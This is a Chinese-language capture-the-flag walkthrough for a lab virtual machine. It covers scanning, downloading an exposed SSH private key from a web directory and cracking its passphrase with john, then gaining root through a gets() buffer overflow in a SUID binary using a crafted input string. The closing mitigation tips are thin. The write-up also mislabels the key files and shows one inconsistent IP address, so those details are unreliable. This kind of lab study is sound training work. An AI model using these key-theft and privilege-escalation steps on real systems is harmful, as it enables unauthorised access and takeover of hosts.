一、靶机说明

1、下载链接

  靶场镜像:链接: https://pan.baidu.com/s/1xfKILyIzELi_ZgUw4aXT7w 提取码: 59g0

2、靶机准备

(1)重置靶场密码

  重启主机,长按shift,进入如下界面后,按e

img

  找到linux开头的行,在最后输入 init=/bin/bash,输入完成后按Crtl+X

img

  mount -o rw,remount /,回车

  passwd root,重置密码

img

  如果提示改变密码成功,重启该虚拟机

(2)查看IP

  使用刚才修改的密码进入靶场主机,输入ip a,查看IP地址

img

二、信息收集

1、发现靶机IP

  可以使用以下两种方法:arp-scan和netdiscover

(1)arp-scan

  使用arp-scan探索靶机IP,发现IP地址为192.168.43.165

arp-scan -l

img

(2)netdiscover

  使用以下命令查看Kali本机IP为192.168.43.167

ip a

img

  使用netdiscover命令 netdiscover -r ip/子网掩码 命令来探测靶机

netdiscover -r 192.168.43.1/24

img

2、开放端口与服务扫描

  使用nmap扫描

nmap -sV 192.168.43.165

  发现 22–ssh、80–nginx、31337–python,这个31337端口可以看出来是python做的一个网站。此靶场机器上开启了ssh服务和两个http服务

img

  接下来我们分析特殊端口,尤其对开放http服务的大端口(本靶机上31337端口开放了http服务)

  访问31337端口对应网站,没有文件,那就对该网站进行目录扫描

img

3、目录扫描

  使用dirsearch进行目录扫描:

dirsearch -u http://192.168.43.165:31337

img

  发现有 robots.txt、**/.ssh/id_rsa** 和 /.ssh/authorized_keys

  或者使用dirb探测

dirb http://192.168.43.165:31337

img

  访问robots.txt,发现以下文件路径,逐个访问

img

  当访问 http://10.3.35.8:31337/taxes/ 的时候,可以看到第1个flag

img

  在前面我么们还看到有 /.ssh/id_rsa/.ssh/authorized_keys,使用网站访问,将它们下载下来, 将下载下来的文件查看一下

  • id_rsa是私钥,authorized_keys 是认证关键字

  • id_rsa文件(公钥)需要密码才能打开

img

  在authorized_keys文件(这里就是泄露的私钥)中疑似看到了一个账户名称 simon

img

三、漏洞探测与利用

1、尝试建立ssh连接

  尝试建立ssh连接

ssh -i id_rsa simon@192.168.43.165

img

  发现要输入密钥 id_rsa 的密码,那么我们可用通过破解私钥得到密码

2、破解私钥获取密码

  因为等会要使用到ssh2john,首先查看ssh2john的路径

locate ssh2john

img

  使用ssh2john.py将密钥信息转换为john可识别信息:(通过这个python文件记忆它的用处可能更好:ssh to john)

python /usr/share/john/ssh2john.py id_rsa > rsacrack

img

  利用字典破解解密rsacrack信息,发现密码 starwars

zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rule rsacrack
或者
john rsacrack

img

img

3、建立ssh连接

  使用simon去登录服务器ssh -i id_rsa simon@192.168.43.165,密码为:starwars,如果出现以下报错说明是文件权限的问题,修改权限为600重新连接即可

img

img

4、溢出提权

  登录成功,直接来一套简单的whoami和pwd等查看主机相关信息,发现root目录下有个flag.txt,但无权查看

img

  登录成功, 从根目录“/”开始查找整个系统所有文件中拥有suid特殊权限的文件,并忽略错误以防打断查找,查看整台服务器具有root权限的文件

find / -perm -4000 2>/dev/null

img

  好多东西,且/usr/local/bin/read_message可执行文件有root权限,刚刚看到当前目录是有这个可执行文件的源代码的,那先看下read_message.c这个文件,发现了flag2,同时进行代码审计

img

  linux系统中,是可以靠编译c代码来成为系统一部分命令的!!!!查看read_message代码后,发现固定大小的数组,想能否制造内存溢出。经过实验我们惊奇的发现输入Simon与SimonAAA竟然有同样的输出!这说明read_message代码只关注前五个字符而不关注buf数组中其他字符。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// You're getting close! Here's another flag:
// flag2{use_the_source_luke}

int main(int argc, char *argv[]) {
char program[] = "/usr/local/sbin/message";
char buf[20];
char authorized[] = "Simon";

printf("What is your name?\n");
gets(buf);

// Only compare first five chars to save precious cycles:
if (!strncmp(authorized, buf, 5)) {
printf("Hello %s! Here is your message:\n\n", buf);
// This is safe as the user can't mess with the binary location:
execve(program, NULL, NULL);
} else {
printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, authorized);
exit(EXIT_FAILURE);
}
}

  即验证数组前5个字符,限定字符数为最多20个 ,前5个为Simon即可。我们试着输20多个字符使其溢出,输入超过他缓存字符长度的字符超出的部分为root权限的目录路径

  进入目录:cd /usr/local/bin,执行可执行文件read_message,输入SimonAAAAAAAAAAAAAAA/bin/sh,提权成功。查看最后一个flag

img

三、情景

  有些企业,他们的员工在比如在/home/目录下,为了方便大家报表或者共享些其他文件资料等,就会开启一个http server来作为大家共享的一个平台,但是在每个员工的比如/home/xiaoming目录下,还有/home/xiaoming/.ssh/id_rsa和/home/xiaoming/.ssh/authorized_keys存在,我们就可以直接访问该目录下载这些文件得到ssh的私钥,造成SSH密钥泄露,以合法用户的名义登录到目标主机,进行后续内网渗透

四、解决方法

  • 不要将密钥放到web目录下
  • 将密钥放在别人字典扫不到的目录下